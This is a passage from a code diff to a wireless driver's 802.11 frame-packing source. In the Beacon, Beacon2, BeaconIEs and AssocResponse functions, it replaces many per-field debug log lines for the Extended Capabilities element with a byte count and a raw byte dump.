FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_ASSOCRESPONSE), FRFL("OBSSScanParameters:\n")); if (!pFrm->OBSSScanParameters.present) @@ -35742,57 +35150,8 @@ tANI_U32 dot11fPackBeacon(tpAniSirGlobal pCtx, tDot11fBeacon *pFrm, tANI_U8 *pBu } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -36773,57 +36132,8 @@ tANI_U32 dot11fPackBeacon2(tpAniSirGlobal pCtx, tDot11fBeacon2 *pFrm, tANI_U8 *p } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACON2), FRFL("OperatingMode:\n")); if (!pFrm->OperatingMode.present) @@ -37985,57 +37295,8 @@ tANI_U32 dot11fPackBeaconIEs(tpAniSirGlobal pCtx, tDot11fBeaconIEs *pFrm, tANI_U } else { - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("bssCoexistMgmtSupport (1): %d\n"), pFrm->ExtCap.bssCoexistMgmtSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved1 (1): %d\n"), pFrm->ExtCap.reserved1); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("extChanSwitch (1): %d\n"), pFrm->ExtCap.extChanSwitch); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved2 (1): %d\n"), pFrm->ExtCap.reserved2); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("psmpCap (1): %d\n"), pFrm->ExtCap.psmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved3 (1): %d\n"), pFrm->ExtCap.reserved3); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("spsmpCap (1): %d\n"), pFrm->ExtCap.spsmpCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("event (1): %d\n"), pFrm->ExtCap.event); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("diagnostics (1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_BEACONIES), FRFL("reserved5 (1): %d\n"), 